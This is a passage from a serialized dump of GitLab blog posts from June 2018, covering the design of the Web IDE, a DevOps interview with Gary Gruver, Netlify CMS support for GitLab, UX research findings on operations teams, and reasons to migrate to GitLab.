4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/).\n{: .note}\n",[1384,232],{"slug":33069,"featured":6,"template":678},"autoscale-continuous-deployment-gitlab-runner-digital-ocean","content:en-us:blog:autoscale-continuous-deployment-gitlab-runner-digital-ocean.yml","Autoscale Continuous Deployment Gitlab Runner Digital Ocean","en-us/blog/autoscale-continuous-deployment-gitlab-runner-digital-ocean.yml","en-us/blog/autoscale-continuous-deployment-gitlab-runner-digital-ocean",{"_path":33075,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33076,"content":33081,"config":33087,"_id":33089,"_type":16,"title":33090,"_source":17,"_file":33091,"_stem":33092,"_extension":20},"/en-us/blog/introducing-gitlab-s-integrated-development-environment",{"title":33077,"description":33078,"ogTitle":33077,"ogDescription":33078,"noIndex":6,"ogImage":23338,"ogUrl":33079,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33079,"schema":33080},"Meet the GitLab Web IDE","Here's how we went from a proof of concept to a new feature that makes it even easier for everyone to edit inside of GitLab.","https://about.gitlab.com/blog/introducing-gitlab-s-integrated-development-environment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the GitLab Web IDE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dimitrie Hoekstra\"}],\n        \"datePublished\": \"2018-06-15\",\n      }",{"title":33077,"description":33078,"authors":33082,"heroImage":23338,"date":33084,"body":33085,"category":734,"tags":33086},[33083],"Dimitrie Hoekstra","2018-06-15","\n\nGitLab has been doing much more for the application development workflow than just source code management and versioning for a while – now spanning everything from [portfolio management](https://docs.gitlab.com/ee/user/group/epics/index.html#epics) to the [entire DevOps lifecycle](/blog/from-dev-to-devops/). Having everyone work from and be familiar with the same interface has many advantages.\n\nAll that code that gets automatically tested and deployed to production has a human at its source though. With the speed of innovation in today’s web development, we saw a chance to help out both new as well as seasoned developers with writing, reviewing, and committing that code with more confidence. In [GitLab 10.7](/releases/2018/04/22/gitlab-10-7-released/) we released the first iteration of our Web IDE – here's how it happened.\n\n## From experiment towards product\n\nThe original idea came from staff developer [Jacob Schatz](/company/team/#jakecodes), who observed how non-developers were having a hard time editing multiple files and getting those changes committed.\n\nAlthough having discussed implementing an Integrated Development Environment (IDE) into GitLab with our CEO [Sid](/company/team/#sytses) and VP of Product [Job](/company/team/#Jobvo) before, it was never clear how to do that and what exact problems it would solve.\n\nAt some point, it dawned on us that the repository view might be the right vessel. Jacob set up a proof of concept where he made our file viewer work in the context of a file editor. It removed the page refresh when switching between files and it approached editing from a branch perspective instead of per file. The result was the beginning of the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/), although it was called the \"repo editor\" at that time.\n\n![Proof of concept multi-file editor](https://about.gitlab.com/images/blogimages/webide/multifileeditor.png){: .shadow.medium.center}\n\nSetting up that proof of concept was a [tremendous amount of work](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/12198) and was time-boxed to one month. Jacob also had other responsibilities, and there was still a long way to go from concept to minimal viable product (MVP).\n\nProduct, UX, and other developers got involved to see if this could be pushed towards production. The concept solved a problem, but did it align with our vision? How could we holistically integrate this and make it a great experience? How could we get it to perform well for many different users?\n\n## The next phase\n\nIt took some time, but it was clear that we were aiming for a real integrated development experience, accessible for everyone right within the GitLab UI, without anything to install. The idea grew from the \"Repo editor\" into that of the \"Web IDE.\"\n\nGitLab itself is open source (or rather [open core](/blog/gitlab-is-open-core-github-is-closed-source/)) and relies on many open source projects for its development. Jacob had already decided that the [Monaco editor](https://microsoft.github.io/monaco-editor/) was the perfect code editor to integrate. It had already proven itself within different contexts, was great for performance, and so could be considered a [boring solution](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nOur UX manager [Sarrah Vesselov](/company/team/#SVesselov) did the initial design for the concept after which it got passed on to me. It was up to our platform product manager [James Ramsay](/company/team/#jamesramsay), our frontend engineering manager [Tim Zallman](/company/team/#tpmtim), senior frontend engineer [Phil Hughes](/company/team/#iamphill), and I as the UX Designer to redefine the prototype \"multi-file editor\" into the foundation capable of supporting our vision of an Integrated Development Environment with live previews and web terminals, that enables anyone to contribute.\n\n## Iterating on user experience\n\n### An integrated editor\n\nThe original \"multi-file editor\" was about committing multiple changes at once because this was annoying when updating the handbook or docs. Often those changes touched multiple files. It was a prototype that made it easier for people to contribute.\n\nThe more we thought about this idea, the greater the possibilities became. One of GitLab's unique advantages is being an integrated product. Building an editor that was integrated with GitLab and made it easier for anyone to contribute is a natural fit. However, the starting point of a prototype in the file list and blob editor wouldn't have been enough to handle this. Decoupling this was the first actionable item.\n\n>One of GitLab's unique advantages is being an integrated product. Building an editor that was integrated with GitLab and made it easier for anyone to contribute is a natural fit.\n\nThis change, which required a lot of discussion and a considerable amount of engineering work by our developers Phil and Tim, was where the project pivoted towards its new direction. The Web IDE got a lot more screen real estate as it no longer had to make room for the project sidebar and other page elements. We decided that the Web IDE would edit one branch at a time only and conceptualized the initial Git flow into the editor. Based on existing UI paradigms and inspired by other code editors like [VSCode](https://code.visualstudio.com/) and [Atom](https://atom.io/), we arrived at the well-known, three-pane layout.\n\n\u003Cdiv class=\"compare-images-2\">\n  \u003Cimg src=\"/images/blogimages/webide/web-ide-iteration-0-concept.png\" class=\"compare-image-top shadow\" alt=\"multi file editor concept\">\n  \u003Cimg src=\"/images/blogimages/webide/web-ide-iteration-1-concept.png\" class=\"compare-image-bottom shadow\" alt=\"web ide file editor concept\">\n\u003C/div>\n\nEven seasoned developers were once beginners, and getting new people accustomed to the Git workflow continues to be notoriously hard to tackle. We decided therefore that the core of the Web IDE experience should be stable before we can venture into more advanced concepts. We set out to make the \"editing to committing\" experience as good as possible and to create a foundation on which we can expand.\n\nEven while having [these discussions](https://gitlab.com/gitlab-org/gitlab-ce/issues/44316), development never stood still. We quickly had a working version of the Web IDE that relied on the Monaco editor. Our immediate efforts pushed towards getting that to a functional, viable state.\n\n### A review state\n\nDue to the potency of the Monaco editor, it became clear we had many options to choose from as to what to develop next. A review state was high up on that list, as it should be obvious what you are going to commit. Not only that, it introduced the possibility of being able to have an integrated merge request review experience in the context of the editing experience – something that has not been possible before.\n\nThis introduced the problem of managing states. After much discussion, we decided to go for editor states instead of file-specific states. Both the user perspective as well as the technical implementation benefited from this as it reduced complexity. It meant you were either editing your files or reviewing your changes across the files you had opened.\n\n![Web IDE edit and review states](https://about.gitlab.com/images/blogimages/webide/web-ide-states.png){: .shadow.medium.center}\n\nAt this point, we are nearing the current state of the Web IDE, though in GitLab 10.8 we could finally [realize the \"editing to committing\" experience](https://gitlab.com/gitlab-org/gitlab-ce/issues/44846) that we talked about before and which was conceptualized and [prototyped](https://framer.cloud/Cojmw/index.html) while developing GitLab 10.7. This was made possible as development reached a more stable state.\n\n### Deciding on hierarchy\n\nThe new experience had several objectives. It needed to introduce a more logical hierarchy for the panes to operate in. Based on that we could decide which panes would potentially show what information and where we could fit in any future more advanced features.\n\nThe second objective was to guide the user more intuitively from editing to committing. The editing and reviewing experience up until then showed its shortcomings as it was hard to switch modes and unclear when you were doing a good job. If even seasoned developers had a hard time using it, how could people just starting out ever hope to successfully contribute making use of it?\nJames and I went through many concepts and discussed both flow and hierarchy before getting into detailed mockups. Through the iterations, it became apparent we preferred our hierarchy to act from left to right. We decided we needed a similar paradigm as the activity bar shown in VSCode. The editor became far more usable as state changes were just one click away, regardless of which state you were already using. As committing was now a separate state as well, it brought a linearity to the entire flow as seen from the activity bar.\n\nThe last significant detail, which came out of a discarded design iteration, was a button to guide the user towards committing their changes. It introduced a little section at the bottom of each state with a blue commit button and a counter so you can see how many changes you have made – essential as we repurposed the right sidebar.\n\n\u003Cdiv class=\"compare-images-3\">\n  \u003Cimg src=\"/images/blogimages/webide/web-ide-left-1.png\" class=\"compare-image-top shadow\" alt=\"web ide revised concept edit mode\">\n  \u003Cimg src=\"/images/blogimages/webide/web-ide-left-2.png\" class=\"compare-image-middle shadow\" alt=\"web ide revised concept review mode\">\n  \u003Cimg src=\"/images/blogimages/webide/web-ide-left-3.png\" class=\"compare-image-bottom shadow\" alt=\"web ide revised concept commit mode\">\n\u003C/div>\n\n*Interested to see all iterations the concepts have gone through? Check out my [Web IDE directory](https://gitlab.com/gitlab-org/gitlab-design/tree/master/progress/dimitrie/web-ide) in GitLab's open source design library where we contribute all our design files!*\n\n## Just the beginning\n\nThe current state of the Web IDE is still only the beginning. We are planning for an even better experience in the future: one where we can integrate and support more advanced features, such as a live environment to test your code against and code review discussions which are directly resolvable.\n\nIn GitLab 11.0, shipping next Friday, we will already have the following improvements: you will be able to view the latest pipeline status and the job logs directly in context, and you will be able to quickly switch between both assigned and authored merge requests without leaving the Web IDE!\n\nThis and more will inevitably lead towards more interesting design decisions to be made. Some of these concepts are uncharted territory and are sure to be valuable to further speed up development and give developers more confidence. Our hope is that this is a valuable contribution to both the open source community as well as GitLab itself.\n\nDo you have great ideas to push this effort forwards or want to contribute yourself? Check out the [issue tracker](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=web%20ide)!\n",[676,11037,2249],{"slug":33088,"featured":6,"template":678},"introducing-gitlab-s-integrated-development-environment","content:en-us:blog:introducing-gitlab-s-integrated-development-environment.yml","Introducing Gitlab S Integrated Development Environment","en-us/blog/introducing-gitlab-s-integrated-development-environment.yml","en-us/blog/introducing-gitlab-s-integrated-development-environment",{"_path":33094,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33095,"content":33101,"config":33106,"_id":33108,"_type":16,"title":33109,"_source":17,"_file":33110,"_stem":33111,"_extension":20},"/en-us/blog/gary-gruver-interview-post",{"title":33096,"description":33097,"ogTitle":33096,"ogDescription":33097,"noIndex":6,"ogImage":33098,"ogUrl":33099,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33099,"schema":33100},"IT executives! Take the lead in DevOps transformations","Gary Gruver, author of \"Starting and Scaling DevOps in the Enterprise,\" shares his thoughts on the role of executives in a DevOps transformation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680072/Blog/Hero%20Images/gary-gruver-cover.jpg","https://about.gitlab.com/blog/gary-gruver-interview-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"IT executives! Take the lead in DevOps transformations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-06-14\",\n      }",{"title":33096,"description":33097,"authors":33102,"heroImage":33098,"date":33103,"body":33104,"category":8943,"tags":33105},[20767],"2018-06-14","\n\nThe changes in both workflow and culture during a DevOps transformation highlight the need for IT executives to guide development and operations teams. [Gary Gruver](http://www.garygruver.com), the renowned DevOps consultant, discovered that executives are essential in setting up teams to adopt a DevOps model successfully. Ahead of his June 19 webcast, Gary Gruver sat down with GitLab to share his thoughts on the greatest challenges that executives encounter and to provide tactical steps to help executives support their teams.\n\n## The role of an executive in the DevOps transformation is leading it.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1a9sGyFz9fW9zeXOa7MJGib8fUN4ZrIsA/preview\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## One of the biggest challenges is getting everybody on the same page.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1d5w4GRRbHA2poHJocUT-4cBfW2KBEsw2/preview\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## One of the biggest things executives need to do to prepare their teams is giving a common view of the inefficiencies for the entire deployment pipeline.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1iseA7ifwF9qIkXDNQun9j0ps-b4_QfuK/preview\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## In terms of culture, executives can help teams adjust to the changes that are coming. Their role is to be that of an investigative reporter.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1788pyYj0QGx8z29YaP6PoseS-OJI_u_d/preview\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## When I work with executives, I always start with, \"What are the objectives about your software development processes?\"\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://drive.google.com/file/d/1ainmogqtovRD0QKq_gJW9XT3_Lii2Hbm/preview\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nJoin Gary Gruver for a webcast on June 19 to discover ways to analyze your current deployment pipeline to target your first improvements on the largest inefficiencies in software development and deployment, and [download your free copy](/resources/scaling-enterprise-devops/) of \"Starting and Scaling DevOps in the Enterprise.\"\n",[4103],{"slug":33107,"featured":6,"template":678},"gary-gruver-interview-post","content:en-us:blog:gary-gruver-interview-post.yml","Gary Gruver Interview Post","en-us/blog/gary-gruver-interview-post.yml","en-us/blog/gary-gruver-interview-post",{"_path":33113,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33114,"content":33120,"config":33125,"_id":33127,"_type":16,"title":33128,"_source":17,"_file":33129,"_stem":33130,"_extension":20},"/en-us/blog/netlify-launches-gitlab-support",{"title":33115,"description":33116,"ogTitle":33115,"ogDescription":33116,"noIndex":6,"ogImage":33117,"ogUrl":33118,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33118,"schema":33119},"Netlify CMS launches support for GitLab","Make it even easier to bring developers and content creators together, so everyone can contribute.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671196/Blog/Hero%20Images/gitlab-netlify-cover.png","https://about.gitlab.com/blog/netlify-launches-gitlab-support","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Netlify CMS launches support for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-06-13\",\n      }",{"title":33115,"description":33116,"authors":33121,"heroImage":33117,"date":33122,"body":33123,"category":299,"tags":33124},[19026],"2018-06-13","\n\nMaking it possible that “[everyone can contribute](/company/mission/#mission)” is our mission, and any development that brings us closer to it is great news! That’s why we’re happy to tell you that open source content management system [Netlify CMS](https://www.netlify.com/) is [launching support for GitLab as a back end](https://www.netlifycms.org/blog/2018/06/netlify-cms-now-supports-gitlab-as-a-backend/) today.\n\nAs more developers move to static site generators to pre-build their site’s front end for a more reliable, secure, and fast site experience, it’s important that other team members are empowered to contribute to site content easily. While [all GitLab team-members learn to contribute to this very site using GitLab itself](/blog/people-ops-using-gitlab/), most non-technical folks are accustomed to a CMS with a familiar user interface and a WYSIWYG. A simple UI wrapper for your Git repository, Netlify CMS automatically syncs all content edits made through its UI to the repository, so changes are treated in exactly the same way as code (including versioning, rollbacks, continuous deployment, and so on).\n\nThis is one of Netlify CMS’ most highly requested integrations, so much so that the plan to make it happen it is responsible for their project’s single largest contributor coming on board! GitLab users can now take advantage of the integration to simplify publishing with any SSG. Check out how it works:\n\n![Netlify CMS GitLab integration demo](https://about.gitlab.com/images/blogimages/gitlab-netlifycms-gif.gif){: .shadow.medium.center}\n\n1. An editor makes a change in the Netlify CMS\n2. That change automatically syncs to your GitLab repository\n3. And that action triggers a build to your published site\n\nReady to give it a spin? The easiest way to get started is to click on the button below: it'll automatically deploy a Netlify CMS template to a GitLab repository. It's prepackaged with the Hugo static site generator and deploys to Netlify so you can see a real, working site right away. You can also check out [the documentation](https://www.netlifycms.org/docs/start-with-a-template/). Enjoy!\n\n\u003Ca href=\"https://app.netlify.com/start/deploy?repository=https://gitlab.com/netlify-templates/one-click-hugo-cms&stack=cms\" rel=\"nofollow noreferrer noopener\" target=\"_blank\">\u003Cimg src=\"https://www.netlify.com/img/deploy/button.svg\" alt=\"Deploy to Netlify\">\u003C/a>\n",[232,815],{"slug":33126,"featured":6,"template":678},"netlify-launches-gitlab-support","content:en-us:blog:netlify-launches-gitlab-support.yml","Netlify Launches Gitlab Support","en-us/blog/netlify-launches-gitlab-support.yml","en-us/blog/netlify-launches-gitlab-support",{"_path":33132,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33133,"content":33139,"config":33143,"_id":33145,"_type":16,"title":33146,"_source":17,"_file":33147,"_stem":33148,"_extension":20},"/en-us/blog/how-ux-research-impacts-product-decisions",{"title":33134,"description":33135,"ogTitle":33134,"ogDescription":33135,"noIndex":6,"ogImage":33136,"ogUrl":33137,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33137,"schema":33138},"How UX research impacts product decisions","How GitLab UX researchers figure out how to turn your feedback into reality.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684792/Blog/Hero%20Images/ux-research-product-decisions.jpg","https://about.gitlab.com/blog/how-ux-research-impacts-product-decisions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How UX research impacts product decisions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Katherine Okpara\"}],\n        \"datePublished\": \"2018-06-12\",\n      }",{"title":33134,"description":33135,"authors":33140,"heroImage":33136,"date":33141,"body":33142,"category":8943},[28270],"2018-06-12","\nAt GitLab, we’re always working to improve our product – whether we're tackling feature requests, fixing bugs, or gathering feedback on usability issues. To stay on top of this effort, our UX team uses a [workflow](/handbook/product/ux/#general-ux-workflow) that prioritizes open issues, tracks progress, and schedules research to support design improvements.\n\nOur UX team works to meet the needs and requests of our users while continuing to move our product in the right [direction](/direction/). While users can easily see and interact with improvements to GitLab’s UI design, the research and discussion that led to many of these decisions are often not visible. Let’s take a look at how UX research is conducted at GitLab!\n\n### What is User Experience (UX) research?\n\nThe goal of UX research is to understand the needs and concerns of users, often by observing how they interact with a product. A UX researcher serves as a bridge between users, developers, designers, and product managers alike.\n\n### Devising a plan of action\n\nIf someone is interested in exploring a research question, we encourage them to create a new issue using the “Research Proposal” template in our [UX Research project](https://gitlab.com/gitlab-org/ux-research). This template prompts the contributor to describe their questions and identify any assumptions or theories they may have. Providing a template is a useful way to encourage contributors to flesh out their research requests, search for prior research or related issues, and pinpoint the exact problems that need to be addressed.\n\nMany contributors also add the [“UX Research” label](https://gitlab.com/gitlab-org/gitlab-ce/issues?label_name%5B%5D=UX+research) to issues that need some research before a decision can be made. GitLab UX researchers review a backlog of issues that are open in the [UX Research](https://gitlab.com/gitlab-org/ux-research), [CE](https://gitlab.com/gitlab-org/gitlab-ce), and [EE](https://gitlab.com/gitlab-org/gitlab-ee) projects each month, to check if related studies already exist or if new studies should be scheduled.\n\nThis process is important for understanding the goals of a research request, scoping the work, and conducting research efficiently.\n\n![Research Proposals](https://about.gitlab.com/images/blogimages/how-ux-research-impacts-product-decisions/research-proposals.png){: .shadow.medium.center}\n\n### Conducting research studies\n\nAfter reviewing proposals and prioritizing the issues to tackle in a particular milestone, we figure out the types of research studies to conduct. Some of our most common [remote UX research methods](/blog/conducting-remote-ux-research/) include survey research, usability testing, first-click testing, and card-sorting. A great way to choose a research method is to ask yourself what you'd like to learn, who you need to reach, and how you want to communicate your questions to the participants (e.g. visually or verbally).\n\nRecently we conducted a research study in support of our [product vision for Concurrent DevOps](/direction/). Since GitLab was initially more developer focused, the purpose of this study was to reach out directly to people who work in operations and understand the needs and challenges they face in their roles. To ensure that we reached a broader audience, we conducted a survey followed by user interviews. We learned a lot about the needs of professionals in operations, including their responsibilities, the tools they use, and the versatility of their roles.\n\n### Interpreting data and summarizing results\n\nIn order to get the word out about our research, we documented the findings in a [report](https://drive.google.com/file/d/1sgPETOKc53QBLvd438gPljRRjeBOm8jr) and [shared it on GitLab.com](https://gitlab.com/gitlab-org/ux-research/issues/56).\n\nThe top challenges faced by participants were lack of automation, redundant tools, insufficient resources, and difficulty adopting the culture of DevOps.\n\n#### Lack of automation\nAlmost half of all respondents stated that at least 40 percent or more of their work was manual and that a lack of automation has caused technical debt. They recognize that creating a scalable, repeatable and automated process for all projects to follow could save them a lot of time.\n\n#### Redundant tools\nOver half of respondents (55 percent) working in a large DevOps team (5+ people) felt that there were many overlapping tools being used for DevOps across their organization. Due to the difficulty of understanding and maintaining these toolchains, unifying all tools into a single, cohesive platform could benefit many mid-to-large organizations.\n\n#### Insufficient resources\nSoftware engineers at small organizations (fewer than 100 employees) were often responsible for taking on operations-related duties in addition to development. In contrast, mid-to-large organizations were more likely to have DevOps Engineers, System Administrators, and Site Reliability Engineers handling DevOps tasks. However, even at larger organizations, many participants still felt that they did not have enough resources on their team. 65 percent of respondents said that there weren't enough people in their team to accomplish all DevOps tasks.\n\n#### Difficulty adopting the culture of DevOps\nMany participants also found it hard to get “buy-in” from stakeholders and communicate the value of DevOps workflows to their organizations. Some even stated that their colleagues were “stuck in their ways,” used “old and bad habits,” or had a reluctance to change. Responses also indicated that some senior leaders and managers don't completely understand the time and resources it takes to implement new DevOps workflows.\n\nOverall, our findings indicated that a better understanding of DevOps as a philosophy, culture, and workflow benefits both team efficiency and morale.\n\n![DevOps](https://about.gitlab.com/images/blogimages/how-ux-research-impacts-product-decisions/devops-loop.png){: .medium.center}\n\n### Creating a plan of action\n\nThe operations research initiative was particularly helpful because it not only showed us limitations in our product, but also led to follow-up discussions and ideas for improvement. Equipping our UX, Product, and Development teams with this insight gave everyone a better sense of the audience we’re designing for and what users hope to accomplish with GitLab.\n\nFor example, we learned that users typically monitor 1-100 performance/system health metrics across 1-5 dashboards and that the most common metrics being tracked on their primary dashboard include CPU, memory, system availability, request rates, and response time/status. Considering the issues that arise from a lack of resources, complex tools, and the amount of metrics users are monitoring, it's apparent that many users are in need of solutions for streamlining their workflow. As we continue to design the [Operations dashboard](https://gitlab.com/gitlab-org/gitlab-ee/issues/1788), we will use these findings to create a flexible solution for both monitoring and management.\n\nCheck out our [product vision page](https://about.gitlab.com/direction/) to see all of the key DevOps areas that we are working on in 2018.\n\n### The broader impact of UX\n\nUX research and design are not only important for delivering positive user experiences. The impact of UX can be found in many aspects of business and technology, such as promoting brand loyalty, delivering higher quality products, creating insightful pitch decks, product roadmapping, and much more. Everyone in a company can play a role in contributing to better user experiences by maintaining open dialogue and encouraging collaborative workflows.\n\nPhoto by [Green Chameleon](https://unsplash.com/photos/s9CC2SKySJM?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/research?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",{"slug":33144,"featured":6,"template":678},"how-ux-research-impacts-product-decisions","content:en-us:blog:how-ux-research-impacts-product-decisions.yml","How Ux Research Impacts Product Decisions","en-us/blog/how-ux-research-impacts-product-decisions.yml","en-us/blog/how-ux-research-impacts-product-decisions",{"_path":33150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33151,"content":33156,"config":33160,"_id":33162,"_type":16,"title":33163,"_source":17,"_file":33164,"_stem":33165,"_extension":20},"/en-us/blog/why-move-to-gitlab",{"title":33152,"description":33153,"ogTitle":33152,"ogDescription":33153,"noIndex":6,"ogImage":29388,"ogUrl":33154,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33154,"schema":33155},"Thinking about moving to GitLab? Here are 5 reasons why you should.","Inspired by #movingtogitlab? We've put together our top reasons to give it a try.","https://about.gitlab.com/blog/why-move-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Thinking about moving to GitLab? Here are 5 reasons why you should.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-06-11\",\n      }",{"title":33152,"description":33153,"authors":33157,"heroImage":29388,"date":33158,"body":33159,"category":299},[29394],"2018-06-11","\n\nWe've been getting a lot of questions about what makes GitLab great and worthy of developers’ business and, most importantly, trust. So we decided to take some time to list out the top five reasons to [move to GitLab](/community/moving-to-gitlab/):\n\n## 1. It's the only single application for the entire Devops cycle\n\nGitLab is the first application built to cover all [stages of the DevOps cycle](/topics/devops/). This means product, development, QA, and Ops teams can all work together concurrently, making the software development lifecycle three times faster. Built-in [continuous integration and continuous delivery features](/solutions/continuous-integration/) make it seamless to go from a code change to a running pipeline. On top of that, GitLab has project management, issue tracking, and free private repository hosting to make it easier to plan and manage your projects. Because GitLab is open, it has great integrations with many other tools, including container orchestration tools like [Kubernetes](/solutions/kubernetes/).\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Okay I get it. \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a>&#39;s product leapfrogged GitHub. I&#39;m shocked how incredibly nice, thoughtful and well designed it is. Fantastic built-in tools -- incredible Kubernetes support, built-in CI/CD, security testing, project management and support features, etc. \u003Ca href=\"https://twitter.com/hashtag/MovingToGitLab?src=hash&amp;ref_src=twsrc%5Etfw\">#MovingToGitLab\u003C/a>\u003C/p>&mdash; Zach Kelling (@zeekay) \u003Ca href=\"https://twitter.com/zeekay/status/1004529586997211137?ref_src=twsrc%5Etfw\">June 7, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## 2. Security is built in\n\nWe're keenly aware that security is critical in software development, and too often security is at the end of the SDLC. In GitLab, security is first class. Security checks are built into merge requests (MRs), with problems being reported directly in pipelines and MRs. Some of our integrated security features include:\n\n* Dependency scanning\n* Static Application Security Testing (SAST)\n* Dynamic Application Security Testing\n* Container scanning\n\nIn GitLab, every code change can be scanned automatically.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Today I moved all my work related repositories to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a>, I have to admit, I wish I did it way before. Gitlab has everything in one package, groups, boards, auto dev ops. Quite impressed.\u003C/p>&mdash; Kaan Göksal (@kaangoksal) \u003Ca href=\"https://twitter.com/kaangoksal/status/1004433422515888135?ref_src=twsrc%5Etfw\">June 6, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\n## 3. It's open core\n\nGitLab is [open core](/blog/gitlab-is-open-core-github-is-closed-source/).\nGitLab Core is open source, while higher tiers of self-managed GitLab include both open source and proprietary features. Our [Community Edition](https://gitlab.com/gitlab-org/gitlab-ce/) (CE) repository includes only [open source code](/solutions/source-code-management/), while the [Enterprise Edition repository](https://gitlab.com/gitlab-org/gitlab-ee/) (EE) holds both open source and proprietary code,\nbut operates like CE, thanks to a publicly visible issue tracker. This means that whether you use GitLab Core, GitLab.com, GitLab Ultimate, or anything in between, you can influence and contribute to GitLab, and keep an eye on [where things are going](/direction/).\n\nYou can read about our [stewardship of the open source project](/company/stewardship/) and check out [our recent post](/blog/gitlab-tiers/) which goes into more detail about the different GitLab tiers.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">As a product-focused company, we support the \u003Ca href=\"https://twitter.com/hashtag/movingtogitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#movingtogitlab\u003C/a> movement 🦁🚀\u003Cbr>\u003Cbr>We moved to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@Gitlab\u003C/a> in the recent months, and it has everything our engineers need in one application. \u003Ca href=\"https://twitter.com/hashtag/Gitlab?src=hash&amp;ref_src=twsrc%5Etfw\">#Gitlab\u003C/a> enables us to move fast with all the resources we need in one place. \u003Ca href=\"https://t.co/tQMew8JosX\">https://t.co/tQMew8JosX\u003C/a>\u003C/p>&mdash; Landing Lion (@LandingLion) \u003Ca href=\"https://twitter.com/LandingLion/status/1004420532308242433?ref_src=twsrc%5Etfw\">June 6, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n## 4. Transparency is by default\n\nBuilding and maintaining open and honest relationships with users is at the core of our value system. Everything we do is public by default. Our [entire handbook](/handbook/) is open to the public along with [our website’s repository](https://gitlab.com/gitlab-com/www-gitlab-com/).\n\n{::options parse_block_html=\"false\" /}\n\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Phew...  Panic resolved. One nice thing about open-source frameworks: transitioning to a clone can be relatively seamless. Thanks \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@GitLab\u003C/a>! Good-bye \u003Ca href=\"https://twitter.com/github?ref_src=twsrc%5Etfw\">@GitHub\u003C/a> (it&#39;s not your fault). \u003Ca href=\"https://twitter.com/hashtag/MovingToGitLab?src=hash&amp;ref_src=twsrc%5Etfw\">#MovingToGitLab\u003C/a> is seamless and nearly instant for my teams&#39; usage.\u003C/p>&mdash; C Barrington-Leigh (@profcpbl) \u003Ca href=\"https://twitter.com/profcpbl/status/1003853726770081792?ref_src=twsrc%5Etfw\">June 5, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async 